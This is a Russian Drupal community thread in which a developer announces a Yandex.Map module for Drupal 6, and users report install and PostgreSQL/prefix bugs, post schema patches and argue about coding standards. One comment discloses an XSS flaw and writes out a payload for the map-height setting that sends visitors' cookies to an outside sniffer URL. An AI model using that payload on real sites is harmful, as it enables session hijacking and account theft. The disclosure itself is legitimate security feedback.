Модуль Yandex Map
Прислано: bohart@InternetDevels.com
пн, 16/03/2009 - 23:03
Модуль Yandex.Map

Позволяет внедрять Яндекс.карты в типы материалов которые определены в настройках модуля.
Здесь скрин со странички настроек модуля.
Здесь скрин как выглядит карта при добавлении/редактировании материала.
Доступен следующий функционал:
- настройка размеров, элементов управление, типа и свойств карты через админку (отдельно для страниц добавление материала и просмотра)
- возможность добавление только одной метки
- возможность поиска местности при добавлении/редактировании материла (страна, город, улица, дом…)
- локализация модуля: английский, русский и украинский.
- для теминга используем темплейт yandex-map.tpl.php
- в комплекте есть два блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка
Установка.
Для работы другие модули не требуются.
Включаем модуль:
/admin/build/modules
Настраиваем модуль (указываем тип материала, иначе Яндекс.карты грузится не будут):
/admin/settings/yandex_map
Для следующего шага Вы должны иметь Яндекс.Паспорт. Получить его можно здесь:
http://passport.yandex.ru/passport?mode=register
После входа в систему переходим по ссылке и получаем оригинальный API KEY для своего сайта:
http://api.yandex.ru/maps/form.xml
После этого указываем API KEY в настройках модуля.
Планируется:
- исправление существующих багов;
- добавление новых
- интеграция в views - отображение всех результатов вюшки на одной карте
- увеличить количество меток в ноде
- увеличить количество доступных иконок для меток
- возможность ограничить местность, где пользователь может добавить метку (например, город или страна)
зы. надеюсь, кому то пригодиться ;)
----
Аналогичный модуль для Google Map - http://drupal.ru/node/24680
| Прикрепленный файл | Размер |
|---|---|
| yandex_map-6.x-1.1.4.zip | 50.46 кб |
- bohart@InternetDevels.com's blog
- Для комментирования войдите или зарегистрируйтесь
Спасибо, сам думал сделать такую штуку, поставил у себя на сайте, тестирую.
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5
- Для комментирования войдите или зарегистрируйтесь
не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.
- Для комментирования войдите или зарегистрируйтесь
Полезный модуль. Полезен тем, до кого google maps до сих пор не добралася... Например Уфа, миллионник, а Googla нет.
Спасибо!
- Для комментирования войдите или зарегистрируйтесь
Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(
А за модуль - респект!
- Для комментирования войдите или зарегистрируйтесь
Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?
- Для комментирования войдите или зарегистрируйтесь
Спасибо, на заметку
- Для комментирования войдите или зарегистрируйтесь
спасибо, полезно
- Для комментирования войдите или зарегистрируйтесь
2 batbug
у нас в Чите - аналогично, местные кодеры городской флеш-навигатор сделали от безысходности...
но автор молодец!
- Для комментирования войдите или зарегистрируйтесь
Поспешил обрадоваться, не создало при установки какую-то таблицу и ругается, при загрузке содержимого, которое отмечено для публикации карты. Drupal 6.10 PostgreSQL 8.3.5
хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)
не люблю ya.map за то, что он дальше МКАДа ни хрена не знает.
Нам, в Иркутской области, что гугл, что яндекс - монопенисуально :(
ну например у Яндекс.карт много городов есть детализированных до дома, которых у гугла нету.
Почему можно добавить лишь одну метку? Какие-то ограничения Яндекса?
нет, это ограничение этого модуля.
просто он изначально делался что одна нода - одна метка.
но в прочем это переделать не очень сложно, может в следующей версии модуля добавится и такой функционал... :)
- Для комментирования войдите или зарегистрируйтесь
хм, тестировал на 6.9 с полным боекомплектом модулей и на чистом 6.10.
наверное все таки дело в PostgreSQL, исправим ;)
Попробуйте прогнать свой модуль через Coder - он может подсказать в чем проблема.
Лично вчера исправил свои запросы к базе данных, потому что кодер сказал LIMIT для PostgreSQL не работает и нужно использовать чуток другую функцию для запроса. Мне не сложно исправить, а переносимость увеличивается. Попробуйте.
Да! И спасибо за то, что делитесь с сообществом.
- Для комментирования войдите или зарегистрируйтесь
И там еще, по-моему, можно пути и регионы добавлять на карты - тоже хотелось бы.
- Для комментирования войдите или зарегистрируйтесь
"LIMIT для PostgreSQL" — о чем я и писал во второй статье безопасного кода ;)
- Для комментирования войдите или зарегистрируйтесь
И для тех, кто за мкадом, хотелось бы "оверлей" поддерживать, ибо карт в растре есть, а удобства - нет.
- Для комментирования войдите или зарегистрируйтесь
полезный модуль
добавил ссылку на странице Gmap
- Для комментирования войдите или зарегистрируйтесь
добавил ссылку на странице Gmap
спасибо. сделал ход в ответ))
- Для комментирования войдите или зарегистрируйтесь
потрясающе, отлично работает.
все чисто, красиво и хорошо работает.
огромное спасибо за этот модуль :)
- Для комментирования войдите или зарегистрируйтесь
хм
сразу после включения модуля
имею ругань на несуществующую таблицу yandex_maps
MySQL 5, Drupal 6.10
- Для комментирования войдите или зарегистрируйтесь
протестировал, все хорошо работает, вот только
1 - если заполнить "Название метки:" и "Описание метки:" то карта в ноде не сохраняется
2 - JS скрипты карты грузятся на всех страницах сайта
- Для комментирования войдите или зарегистрируйтесь
Нашел причину.
Таблица не создаются, когда при установке друпала выбран отличный от дефолтного префикс таблиц.
В .install вместо использования стандартного db_create_table
прямая SQL-команда CREATE TABLE создает таблицу (yandex_maps) без префикса,
а потом сам модуль эту таблицу через друпал найти не может, потому что ищется prefix_yandex_maps.
Да, есть еще проблемка, когда открываю нод с картой на редактирование
он забывает про старую точку и вместо нее ставит маркер на дефолтное значение.
Т.е. каждый раз при редактировании нода с картой надо заново точку ставить :(
Или я что-то не так делаю?
- Для комментирования войдите или зарегистрируйтесь
"Ваш корирайт для отображение внизу карт" ))
- Для комментирования войдите или зарегистрируйтесь
Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке
<?php
function yandex_map_menu() {
$items = array();
$items['admin/settings/yandex_map'] = array(
- 'title' => t('Yandex Map'),
+ 'title' => 'Yandex Map',
'page callback' => 'drupal_get_form',
'page arguments' => array('yandex_map_settings_form'),
'type' => MENU_NORMAL_ITEM,
'access arguments' => array('administer yandex_map'),
);
return $items;
}
?>Для создания таблиц в 6ке нужно использовать hook_schema() и при удалении модуля вычищать свои переменные.
Соответственно yandex_map.install должен быть таким:
<?php
// $Id: yandex_map.install, v 1.1 2008/09/05 03:22:05 $ boh@rt
/**
* Implementation of hook_install().
*/
function yandex_map_install() {
// Create tables.
drupal_install_schema('yandex_map');
}
/**
* Implementation of hook_uninstall().
*/
function yandex_map_uninstall() {
// Remove tables.
drupal_uninstall_schema('yandex_map');
// Remove variables.
variable_del('yandex_map_control_edit');
variable_del('yandex_map_control_view');
variable_del('yandex_map_api_key');
variable_del('yandex_map_default_city');
variable_del('yandex_map_default_zoom');
variable_del('yandex_map_ballon_on_view');
variable_del('yandex_map_copyright');
variable_del('yandex_map_types');
variable_del('yandex_map_map_height');
variable_del('yandex_map_map_width');
}
/**
* Implementation of hook_schema().
*/
function yandex_map_schema() {
$schema['yandex_map'] = array(
'description' => 'Stores data for yandex-maps.',
'fields' => array(
'nid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'uid' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'time' => array(
'type' => 'int',
'unsigned' => TRUE,
'not null' => TRUE,
'default' => 0,
),
'value' => array(
'type' => 'varchar',
'length' => 1024,
'not null' => TRUE,
'default' => '',
),
),
'indexes' => array(
'nid' => array('nid'),
),
);
return $schema;
}
?>- Для комментирования войдите или зарегистрируйтесь
названия и описания пунктов меню не оборачиваются в t() в 6ке
это кто так сказал?
- Для комментирования войдите или зарегистрируйтесь
Документация и реализация
- Для комментирования войдите или зарегистрируйтесь
покажи раздел документации. мож я чего пропустил?
- Для комментирования войдите или зарегистрируйтесь
Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?
- Для комментирования войдите или зарегистрируйтесь
хм...
а есть ли наработка под 5.16 версию?
заранее спасибо.
если можно на p1zz@ukr.net
протестирую и вышлю багтрекер. если будет необходимо.
- Для комментирования войдите или зарегистрируйтесь
У-у-у-у! В 5-ке не ставится!
warning: Missing argument 3 for yandex_map_form_alter(), called in
.../includes/form.inc on line 365 and defined in
.../sites/all/modules/yandex_map/yandex_map.module on line 224.
363 foreach (module_implements('form_alter') as $module) {
364 $function = $module .'_form_alter';
365 $function($form_id, $form);
366 }
224 function yandex_map_form_alter(&$form, $form_state, $form_id) {
225 $types = variable_get('yandex_map_types', array());
Добавил $form_state в 365-ю - ни фига.
- Для комментирования войдите или зарегистрируйтесь
классный модуль, автору большое спасибо, ещё бы меток побольше =)
- Для комментирования войдите или зарегистрируйтесь
У-у-у-у! В 5-ке не ставится!
а есть ли наработка под 5.16 версию?
этот модуль для 6 ветки Друпала. Для 5ки не планируется и не будет :(
"Ваш корирайт для отображение внизу карт" ))
очепятко однако, исправил
Правки - названия и описания пунктов меню не оборачиваются в t() в 6ке
Спасибо, не знал, исправил.
Соответственно yandex_map.install должен быть таким:
гы, на хук_схема я уже давно перевел, только забыл выложить здесь..
а про вариейбли попросту забыл упомянуть в install файле. спасибо.
Всем здравствуйте, скажите, а как сделать по умолчанию вывод карты не схемы, а со спутника?
даный функционал будет присутствувать в новой версии (1.3)
- Для комментирования войдите или зарегистрируйтесь
Спасибо, в закладки.
- Для комментирования войдите или зарегистрируйтесь
Обновлено модуль:
1) жабо скрипты не загружаются если не сохранен API key
2) форма Яндекс.Карт не отображается на страничках добавление/редактирование материала если не сохранен API key
3) исправлено инсталл модуля (добавлено _схему, удаление вариейблов)
4) обновлено перевод.
5) добавил условие на загрузку скриптов только там где это надо и по этому убралась жава ошибка о не удачном старте Яндекс.Карт там где их не должно быть
6) возможность выбора типа карты в админке.
ССылка:
http://drupal.ru/files/yandex_map-6.x-1.3.rar
- Для комментирования войдите или зарегистрируйтесь
У меня не сохраняется метка :(
отправляет в Default city
- Для комментирования войдите или зарегистрируйтесь
- Строковые плейсхолдеры в запросах используются не по назначению.
- Модуль не соблюдает половины стандартов кодирования Друпала. Рекомендую модуль Coder.
- И что самое главное — модуль содержит XSS уязвимость. Штудируйте «безопасный код».
- Для комментирования войдите или зарегистрируйтесь
Модуль не соблюдает половины стандартов кодирования Друпала.
а что дриса придумал фреймворк уже иль создал php? с каких пор стандарты zend не поддерживаются?
http://pear.php.net/manual/en/standards.php
http://framework.zend.com/manual/ru/coding-standard.html
http://framework.zend.com/manual/ru/coding-standard.coding-style.html
http://habrahabr.ru/blogs/php/38214/
так что не друпу нужно соблюдать, а стандарты zend.
- Для комментирования войдите или зарегистрируйтесь
shamaner, есть такое мнение, что если вам нечего сказать по существу относительно данной, конкретной темы, то лучше вообще промолчать. Я очень рад, что вы знаете о стандартах кодирования PHP, но в данном случае, ваше замечание несколько не в тему и показывает то, что вы никогда не задумывались, почему возникают такие стандарты, почему в некоторых проектах эти стандарты отличаются от других, а также, почему для Друпала удобнее текущие друпаловские стандарты.
- Для комментирования войдите или зарегистрируйтесь
Скачал значит и установил этот модуль, в результате чего метка не сохраняеться, показывает на карте не верно адрес, хотя на сайте yandex показывает все нормально.
в чем проблемка и как решить не поможите?
и еще как опустить карту в ноде вниз страницы, так чтоб текс был сверху, а карта снизу например как здесь http://company.yandex.ru/inside/contacts.xml
????
- Для комментирования войдите или зарегистрируйтесь
При установке получаю
user warning: Column length too big for column 'value' (max = 255); use BLOB or TEXT instead query: update_sql /* admin : update_sql */ CREATE TABLE drupal01_yandex_map ( `nid` INT(10) unsigned NOT NULL DEFAULT 0, `uid` INT(10) unsigned NOT NULL DEFAULT 0, `time` INT(10) unsigned NOT NULL DEFAULT 0, `value` VARCHAR(1024) NOT NULL DEFAULT '', PRIMARY KEY (nid) ) /*!40100 DEFAULT CHARACTER SET UTF8 */ in /www/fisherbo/www/htdocs/_test01/includes/database.inc on line 515.
я так понимаю, в базе на моем хостинге длина VARCHAR max 255
- Для комментирования войдите или зарегистрируйтесь
Рекомендую модуль Coder.
спасибо, пропустил через coder.
убрал все ошибки.
на счет безопасности не совсем разобрался :(
и еще как опустить карту в ноде вниз страницы,
cоздайте файлик node-yournodetype.tpl.php
а для размещения карты в конкретном месте использую параметры с админки:
<?php
print theme('yandex_map');
?>или же
<?php
$height = '400px';
$width = '100%';
print theme('yandex_map', $height, $width);
?>++
Обновил модуль.
добавил темплейт yandex-map.tpl.php
Добавлено 2 блока:
1) последние метки
настраиваемы параметры - типы контента для отображение, количество меток, высота и ширина карты.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка
Ну и самое главное исправлено ошибки при сохранение\отображении меток.
- Для комментирования войдите или зарегистрируйтесь
Сходу, вбиваю в поле 'Default map height' что-то типа такого:
33px"><script>document.write('<img src="http://site.su/sniff.php?data=' + document.cookies + '">');</script><div style="
и получаю себе в логи все куки ваших пользователей и ваши рутовые, включительно.
- Для комментирования войдите или зарегистрируйтесь
при обновлении на 1.4 отображение карты отваливается от нодов
- Для комментирования войдите или зарегистрируйтесь
Может стоит этот модуль выложить на d.o больше откликов будет и удобнее обрабатывать ошибки/запросы
- Для комментирования войдите или зарегистрируйтесь
при обновлении на 1.4 отображение карты отваливается от нодов
не совсем понял что имелось веду...
Может стоит этот модуль выложить на d.o
обязательно и с радостью! но еще немножко поработаю над улучшениями, тем более не знаком с алгоритмом добавления Туда модулей)
--
зы. сейчас готовлю демо-сайт :)
- Для комментирования войдите или зарегистрируйтесь
Хм, немного не так, как я сказал. Проблемы вижу две.
1. При создании нода, к которому привязана карта (в настройках модуля yandex map),
сама карта не отображается.
Потом, только при редактировании созданного нода, карта видна и можно поставить точку.
2. Последующие операции редактирования устанавливают точку в ее дефолтное значение (заданное в конфигурации модуля), а старое значение точки на карте не сохраняется.
- Для комментирования войдите или зарегистрируйтесь
Прямо недавно у нас в Чебоксарах, ни Яндекс.Карт не было, ни Google.Maps. Теперь есть Google только снимки со спутника и Яндекс, только схема города. Схема мне более интересна. Так что ждем более стабильной версии модуля для Яндекса. Пофиксите xss уязвимость! С ней этот модуль ставить не имеет никакого смысла.
- Для комментирования войдите или зарегистрируйтесь
Огромное спасибо за модуль.
2) отображение результатов views на карте.
выбираем вюшку, а на карту попадают метки с нод которые отдает вюшка
Пожалуйста, подскажите, как именно вывести результаты вьюз на карту.
- Для комментирования войдите или зарегистрируйтесь
На D.org выложен этот модуль!?
- Для комментирования войдите или зарегистрируйтесь
При включении модуля в IE не отображается контент выводимый с помощью модуля Quick Tabs.
- Для комментирования войдите или зарегистрируйтесь
какая последняя версия - которая в верхнем посте под номером 1.1.4 или которая в одном из каментов под номером 1.3 ?
- Для комментирования войдите или зарегистрируйтесь
Мой город на Гугл-карте виден, на сегодня, лучше, но Яндекс-то наш, Рунетовский, - поэтому хорошо что Вы такой модуль сделали.
- Для комментирования войдите или зарегистрируйтесь





















Комментарии